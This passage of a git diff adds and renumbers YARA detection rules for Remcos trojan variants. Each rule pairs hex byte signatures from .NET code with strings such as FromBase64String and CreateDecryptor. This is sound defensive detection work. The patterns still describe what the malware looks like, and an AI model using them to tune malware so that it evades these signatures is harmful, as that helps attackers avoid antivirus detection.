"Trojan:BAT/Remcos.ACF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {5f 13 0c 02 11 08 11 09 6f ?? 00 00 0a 13 0d 12 0d 28 ?? 00 00 0a 13 0e 12 0d 28 ?? 00 00 0a 13 0f 12 0d 28 ?? 00 00 0a 13 10 04 03 6f ?? 00 00 0a 59 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ACUA_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ACUA_MTB.yar new file mode 100644 index 0000000000..9a48384a8c --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ACUA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_ACUA_MTB{ + meta: + description = "Trojan:BAT/Remcos.ACUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {04 08 16 07 16 1f 10 28 ?? 01 00 06 7e ?? 00 00 04 08 16 07 1f 0f 1f 10 28 ?? 01 00 06 7e ?? 00 00 04 06 07 28 ?? 01 00 06 7e ?? 00 00 04 06 18 28 ?? 01 00 06 7e ?? 00 00 04 06 19 28 ?? 01 00 06 7e ?? 00 00 04 06 28 ?? 01 00 06 0d 7e ?? 00 00 04 09 03 16 03 8e 69 28 ?? 01 00 06 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ADVA_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ADVA_MTB.yar new file mode 100644 index 0000000000..6e643c67aa --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ADVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Remcos_ADVA_MTB{ + meta: + description = "Trojan:BAT/Remcos.ADVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 00 " + + strings : + $a_03_0 = {0a 17 0b 18 0d 19 0d 28 ?? 00 00 0a 13 04 1a 0d 11 04 17 6f ?? 00 00 0a 1b 0d 11 04 18 6f ?? 00 00 0a 1c 0d 11 04 03 04 6f ?? 00 00 0a 13 05 1d 0d 11 05 02 16 02 8e 69 6f ?? 00 00 0a 0a de 6d } //5 + $a_01_1 = {46 00 6a 00 44 00 79 00 44 00 36 00 55 00 } //2 FjDyD6U + $a_01_2 = {43 52 45 41 54 45 44 45 43 52 59 50 54 4f 52 } //1 CREATEDECRYPTOR + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_AKVA_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_AKVA_MTB.yar new file mode 100644 index 0000000000..b7fc0c8a19 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_AKVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Remcos_AKVA_MTB{ + meta: + description = "Trojan:BAT/Remcos.AKVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {16 2d 19 2b 1c 2b 1d 1d 2d 21 26 72 ?? ?? 01 70 2b 1c 2b 21 2b 22 2b 27 2b 28 2b 2d 17 2c ec de 36 02 2b e1 28 ?? 00 00 06 2b dc 0a 2b dd 28 ?? 00 00 0a 2b dd 06 2b dc 28 ?? 00 00 06 2b d7 06 2b d6 28 ?? 00 00 06 2b d1 0b 2b d0 } //5 + $a_01_1 = {08 02 59 07 59 20 ff 00 00 00 25 2c f7 5f 16 2d 15 d2 0c 08 66 16 2d ed d2 0c 06 07 08 9c 07 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ALUA_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ALUA_MTB.yar new file mode 100644 index 0000000000..e23cc7774e --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ALUA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Remcos_ALUA_MTB{ + meta: + description = "Trojan:BAT/Remcos.ALUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0b 07 04 28 ?? 00 00 06 0c 06 08 6f ?? 00 00 0a 06 18 6f ?? 00 00 0a 06 18 6f ?? 00 00 0a 03 28 ?? 00 00 0a 0d 06 6f ?? 00 00 0a 13 04 11 04 09 16 09 8e 69 6f ?? 00 00 0a 13 05 28 ?? 00 00 0a 11 05 6f ?? 00 00 0a 13 06 de 14 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ANSA_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ANSA_MTB.yar new file mode 100644 index 0000000000..0eac81439b --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ANSA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_ANSA_MTB{ + meta: + description = "Trojan:BAT/Remcos.ANSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {09 1f 1c 28 ?? 00 00 06 28 ?? 00 00 06 09 1f 20 28 ?? 00 00 06 28 ?? 00 00 06 28 ?? 00 00 06 25 26 1f 38 28 ?? 00 00 06 25 26 28 ?? ?? 00 06 25 26 13 04 11 04 07 1f 24 28 ?? 00 00 06 28 ?? 00 00 06 25 26 13 05 09 11 05 09 28 ?? 00 00 06 25 26 1f 28 28 ?? 00 00 06 5b 28 ?? 00 00 06 25 26 28 ?? ?? 00 06 09 11 05 09 28 ?? ?? 00 06 25 26 1f 2c 28 ?? 00 00 06 5b 28 ?? 00 00 06 25 26 28 ?? 00 00 06 09 1f 30 28 ?? 00 00 06 28 ?? 00 00 06 08 09 28 ?? 00 00 06 25 26 1f 34 28 ?? 00 00 06 28 ?? 00 00 06 25 26 13 06 11 06 02 1f 38 28 ?? 00 00 06 02 28 ?? ?? 00 06 25 26 69 28 ?? 00 00 06 11 06 28 ?? ?? 00 06 de 1f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_APWA_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_APWA_MTB.yar new file mode 100644 index 0000000000..da533684a0 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_APWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_APWA_MTB{ + meta: + description = "Trojan:BAT/Remcos.APWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 11 04 16 94 11 04 17 94 6f ?? 00 00 0a 13 0d 11 04 16 94 1f 64 5d 16 fe 01 13 1f 11 1f 2c 2b 00 11 0a 72 ?? ?? 00 70 12 0d 28 ?? 00 00 0a 12 0d 28 ?? 00 00 0a 58 12 0d 28 ?? 00 00 0a 58 18 5d 16 fe 01 6f ?? 00 00 0a 00 00 19 8d ?? 00 00 01 13 0e 11 0e 16 12 0d 28 ?? 00 00 0a 9c 11 0e 17 12 0d 28 ?? 00 00 0a 9c 11 0e 18 12 0d 28 ?? 00 00 0a 9c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ARM_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ARM_MTB.yar index 447bab9bcf..42e4cffeac 100644 --- a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ARM_MTB.yar +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ARM_MTB.yar @@ -4,7 +4,7 @@ rule Trojan_BAT_Remcos_ARM_MTB{ description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : - $a_03_0 = {16 0a 2b 38 16 0b 2b 21 08 06 07 28 ?? ?? ?? 06 13 09 09 12 09 28 ?? ?? ?? 0a 8c 07 00 00 01 28 ?? ?? ?? 06 26 07 17 58 0b 07 08 28 ?? ?? ?? 06 fe 04 13 06 11 06 2d d0 } //1 + $a_03_0 = {26 16 13 22 2b 2f 11 07 11 06 8e 69 5d 13 23 11 06 11 23 11 21 11 22 91 9c 03 11 21 11 22 91 6f ?? 00 00 0a 11 07 17 58 } //1 condition: ((#a_03_0 & 1)*1) >=1 @@ -14,12 +14,22 @@ rule Trojan_BAT_Remcos_ARM_MTB_2{ description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : - $a_03_0 = {16 13 0c 2b 21 00 11 07 11 0c 11 06 08 11 06 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 9d 00 11 0c 17 58 13 0c 11 0c 11 07 8e 69 fe 04 13 0d 11 0d 2d d1 } //1 + $a_03_0 = {16 0a 2b 38 16 0b 2b 21 08 06 07 28 ?? ?? ?? 06 13 09 09 12 09 28 ?? ?? ?? 0a 8c 07 00 00 01 28 ?? ?? ?? 06 26 07 17 58 0b 07 08 28 ?? ?? ?? 06 fe 04 13 06 11 06 2d d0 } //1 condition: ((#a_03_0 & 1)*1) >=1 } rule Trojan_BAT_Remcos_ARM_MTB_3{ + meta: + description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {16 13 0c 2b 21 00 11 07 11 0c 11 06 08 11 06 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 9d 00 11 0c 17 58 13 0c 11 0c 11 07 8e 69 fe 04 13 0d 11 0d 2d d1 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_Remcos_ARM_MTB_4{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -30,7 +40,7 @@ rule Trojan_BAT_Remcos_ARM_MTB_3{ ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1) >=2 } -rule Trojan_BAT_Remcos_ARM_MTB_4{ +rule Trojan_BAT_Remcos_ARM_MTB_5{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -40,7 +50,7 @@ rule Trojan_BAT_Remcos_ARM_MTB_4{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_Remcos_ARM_MTB_5{ +rule Trojan_BAT_Remcos_ARM_MTB_6{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -51,7 +61,7 @@ rule Trojan_BAT_Remcos_ARM_MTB_5{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 } -rule Trojan_BAT_Remcos_ARM_MTB_6{ +rule Trojan_BAT_Remcos_ARM_MTB_7{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -61,7 +71,7 @@ rule Trojan_BAT_Remcos_ARM_MTB_6{ ((#a_01_0 & 1)*1) >=1 } -rule Trojan_BAT_Remcos_ARM_MTB_7{ +rule Trojan_BAT_Remcos_ARM_MTB_8{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -71,7 +81,7 @@ rule Trojan_BAT_Remcos_ARM_MTB_7{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_Remcos_ARM_MTB_8{ +rule Trojan_BAT_Remcos_ARM_MTB_9{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -82,7 +92,17 @@ rule Trojan_BAT_Remcos_ARM_MTB_8{ ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 } -rule Trojan_BAT_Remcos_ARM_MTB_9{ +rule Trojan_BAT_Remcos_ARM_MTB_10{ + meta: + description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {11 0a 12 29 28 ?? 00 00 0a 58 13 0a 11 0b 12 29 28 ?? 00 00 0a 58 13 0b 11 0c 12 29 28 ?? 00 00 0a 58 13 0c 12 29 28 ?? 00 00 0a 12 29 28 ?? 00 00 0a 58 12 29 28 ?? 00 00 0a 58 13 2a 11 2a 11 0d 31 04 11 2a 13 0d 11 2a 11 0e 2f 04 11 2a 13 0e 11 27 11 07 8e 69 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_Remcos_ARM_MTB_11{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " @@ -94,7 +114,7 @@ rule Trojan_BAT_Remcos_ARM_MTB_9{ ((#a_01_0 & 1)*2+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1) >=5 } -rule Trojan_BAT_Remcos_ARM_MTB_10{ +rule Trojan_BAT_Remcos_ARM_MTB_12{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -104,7 +124,7 @@ rule Trojan_BAT_Remcos_ARM_MTB_10{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_Remcos_ARM_MTB_11{ +rule Trojan_BAT_Remcos_ARM_MTB_13{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -114,7 +134,7 @@ rule Trojan_BAT_Remcos_ARM_MTB_11{ ((#a_01_0 & 1)*1) >=1 } -rule Trojan_BAT_Remcos_ARM_MTB_12{ +rule Trojan_BAT_Remcos_ARM_MTB_14{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -125,7 +145,19 @@ rule Trojan_BAT_Remcos_ARM_MTB_12{ ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1) >=2 } -rule Trojan_BAT_Remcos_ARM_MTB_13{ +rule Trojan_BAT_Remcos_ARM_MTB_15{ + meta: + description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_03_0 = {0a 0d 00 09 07 08 6f ?? 00 00 0a 00 00 de 0b 09 2c 07 09 6f ?? 00 00 0a 00 dc 08 28 } //1 + $a_03_1 = {0a 00 25 17 6f ?? 00 00 0a 00 25 17 6f ?? 00 00 0a 00 0a 06 28 ?? 00 00 0a 6f ?? 00 00 0a 00 00 de 23 0b 00 72 ?? 01 00 70 07 6f } //2 + $a_03_2 = {0a 00 25 17 6f ?? 00 00 0a 00 25 72 ?? 01 00 70 6f ?? 00 00 0a 00 0a 00 06 28 ?? 00 00 0a 26 00 de 05 26 00 00 de 00 } //3 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2+(#a_03_2 & 1)*3) >=6 + +} +rule Trojan_BAT_Remcos_ARM_MTB_16{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 00 " @@ -143,7 +175,7 @@ rule Trojan_BAT_Remcos_ARM_MTB_13{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=9 } -rule Trojan_BAT_Remcos_ARM_MTB_14{ +rule Trojan_BAT_Remcos_ARM_MTB_17{ meta: description = "Trojan:BAT/Remcos.ARM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 07 00 00 " diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ARO_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ARO_MTB.yar index 5e66193190..c8d468cbdb 100644 --- a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ARO_MTB.yar +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ARO_MTB.yar @@ -20,6 +20,16 @@ rule Trojan_BAT_Remcos_ARO_MTB_2{ } rule Trojan_BAT_Remcos_ARO_MTB_3{ + meta: + description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {17 da 0b 16 0c 2b 11 02 08 02 08 91 20 d2 00 00 00 61 b4 9c 08 1d d6 0c 08 07 31 eb 14 0a 00 28 ?? 01 00 0a 0d 09 02 28 ?? 01 00 0a 00 09 28 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_Remcos_ARO_MTB_4{ meta: description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " @@ -29,7 +39,7 @@ rule Trojan_BAT_Remcos_ARO_MTB_3{ ((#a_03_0 & 1)*2) >=2 } -rule Trojan_BAT_Remcos_ARO_MTB_4{ +rule Trojan_BAT_Remcos_ARO_MTB_5{ meta: description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -40,7 +50,7 @@ rule Trojan_BAT_Remcos_ARO_MTB_4{ ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 } -rule Trojan_BAT_Remcos_ARO_MTB_5{ +rule Trojan_BAT_Remcos_ARO_MTB_6{ meta: description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -51,7 +61,7 @@ rule Trojan_BAT_Remcos_ARO_MTB_5{ ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1) >=2 } -rule Trojan_BAT_Remcos_ARO_MTB_6{ +rule Trojan_BAT_Remcos_ARO_MTB_7{ meta: description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -62,7 +72,7 @@ rule Trojan_BAT_Remcos_ARO_MTB_6{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_Remcos_ARO_MTB_7{ +rule Trojan_BAT_Remcos_ARO_MTB_8{ meta: description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -73,7 +83,7 @@ rule Trojan_BAT_Remcos_ARO_MTB_7{ ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 } -rule Trojan_BAT_Remcos_ARO_MTB_8{ +rule Trojan_BAT_Remcos_ARO_MTB_9{ meta: description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -84,7 +94,7 @@ rule Trojan_BAT_Remcos_ARO_MTB_8{ ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1) >=2 } -rule Trojan_BAT_Remcos_ARO_MTB_9{ +rule Trojan_BAT_Remcos_ARO_MTB_10{ meta: description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -95,7 +105,7 @@ rule Trojan_BAT_Remcos_ARO_MTB_9{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 } -rule Trojan_BAT_Remcos_ARO_MTB_10{ +rule Trojan_BAT_Remcos_ARO_MTB_11{ meta: description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -105,7 +115,17 @@ rule Trojan_BAT_Remcos_ARO_MTB_10{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_Remcos_ARO_MTB_11{ +rule Trojan_BAT_Remcos_ARO_MTB_12{ + meta: + description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {26 de f1 02 06 28 ?? 00 00 2b 28 ?? 00 00 2b 28 ?? 00 00 0a 28 ?? 00 00 0a 02 73 ?? 00 00 0a 25 72 ?? 00 00 70 03 28 ?? 00 00 0a 6f ?? 00 00 0a 25 1f 0f 1f 14 73 ?? 00 00 0a 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 7d } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_Remcos_ARO_MTB_13{ meta: description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -116,7 +136,7 @@ rule Trojan_BAT_Remcos_ARO_MTB_11{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_Remcos_ARO_MTB_12{ +rule Trojan_BAT_Remcos_ARO_MTB_14{ meta: description = "Trojan:BAT/Remcos.ARO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ATXA_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ATXA_MTB.yar new file mode 100644 index 0000000000..e51f6903a2 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ATXA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_ATXA_MTB{ + meta: + description = "Trojan:BAT/Remcos.ATXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 04 19 8c ?? 00 00 01 28 ?? 00 00 0a 16 8c ?? 00 00 01 16 28 ?? 00 00 0a 13 06 11 06 2c 61 08 17 8d ?? 00 00 01 25 16 11 04 a2 14 28 ?? 00 00 0a 16 8c ?? 00 00 01 16 28 ?? 00 00 0a 13 07 11 07 2c 0f 07 20 ff 00 00 00 6f ?? 00 00 0a 00 00 2b 2b 00 07 08 17 8d ?? 00 00 01 25 16 11 04 a2 14 28 ?? 00 00 0a 17 8c ?? 00 00 01 28 ?? 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 00 00 00 2b 20 00 07 08 17 8d ?? 00 00 01 25 16 11 04 a2 14 28 ?? 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 00 00 11 04 09 12 04 28 ?? 00 00 0a 13 08 11 08 3a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ATYA_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ATYA_MTB.yar new file mode 100644 index 0000000000..d466d4c28a --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ATYA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_ATYA_MTB{ + meta: + description = "Trojan:BAT/Remcos.ATYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 25 26 0a 28 ?? 00 00 06 0b 00 07 03 28 ?? 00 00 06 00 07 04 28 ?? ?? 00 06 00 07 1f 18 28 ?? 00 00 06 28 ?? ?? 00 06 00 07 1f 1c 28 ?? 00 00 06 28 ?? 00 00 06 00 28 ?? 00 00 06 0c 08 07 28 ?? 00 00 06 1f 20 28 ?? 00 00 06 28 ?? 00 00 06 25 26 0d 00 09 06 1f 24 28 ?? 00 00 06 06 8e 69 28 ?? ?? 00 06 00 09 28 ?? 00 00 06 00 08 28 ?? ?? 00 06 25 26 13 04 de 45 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_BFH_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_BFH_MTB.yar new file mode 100644 index 0000000000..ad9eeafb72 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_BFH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_BFH_MTB{ + meta: + description = "Trojan:BAT/Remcos.BFH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 8e 69 1a 2f 07 16 0b dd b8 00 00 00 20 24 67 00 00 28 ?? 00 00 06 28 ?? 00 00 0a 0c 20 5d 66 00 00 28 ?? 00 00 06 28 ?? 00 00 0a 0d 28 ?? 00 00 0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 73 1e 00 00 0a 13 05 11 05 11 04 6f ?? 00 00 0a 17 73 20 00 00 0a 13 06 11 06 06 16 06 8e 69 6f ?? 00 00 0a 11 06 6f ?? 00 00 0a 03 11 05 6f ?? 00 00 0a 6f ?? 00 00 06 17 0b de 45 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ETL_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ETL_MTB.yar new file mode 100644 index 0000000000..a9e3e60939 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ETL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_ETL_MTB{ + meta: + description = "Trojan:BAT/Remcos.ETL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {11 07 1f 0f 62 11 0a 75 4f 00 00 1b 11 0c 25 17 58 13 0c 93 11 05 61 60 13 07 1f 0b 13 0e } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_MYV_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_MYV_MTB.yar new file mode 100644 index 0000000000..23a6076d7a --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_MYV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_MYV_MTB{ + meta: + description = "Trojan:BAT/Remcos.MYV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {04 1f 09 7e 17 01 00 04 1f 6e 7e 17 01 00 04 1f 6e 93 04 5f 20 fd 00 00 00 5f 9d 5d 2c 04 18 0c 2b c0 17 2b fa 03 2b 07 03 20 ed 00 00 00 61 b4 0a 06 2a } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_PKDZ_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_PKDZ_MTB.yar new file mode 100644 index 0000000000..c7e18e24f0 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_PKDZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_PKDZ_MTB{ + meta: + description = "Trojan:BAT/Remcos.PKDZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_01_0 = {72 61 00 00 70 28 24 00 00 0a 0a 72 93 00 00 70 28 24 00 00 0a 0b 28 09 00 00 06 0c 12 02 28 18 00 00 0a 75 03 00 00 1b 0d 12 02 28 19 00 00 0a 73 25 00 00 0a 13 04 11 04 06 07 6f 26 00 00 0a 13 05 73 17 00 00 0a 13 06 11 06 11 05 17 73 27 00 00 0a 13 07 11 07 09 16 09 8e 69 6f 28 00 00 0a 11 06 6f 29 00 00 0a 28 1b 00 00 0a 13 08 dd 2d 00 00 00 } //4 + condition: + ((#a_01_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_PXE_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_PXE_MTB.yar new file mode 100644 index 0000000000..c01a271de8 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_PXE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_PXE_MTB{ + meta: + description = "Trojan:BAT/Remcos.PXE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {32 08 16 13 05 38 88 01 00 00 17 39 56 01 00 00 06 72 11 12 00 70 6f ?? 00 00 0a 16 61 13 06 06 72 25 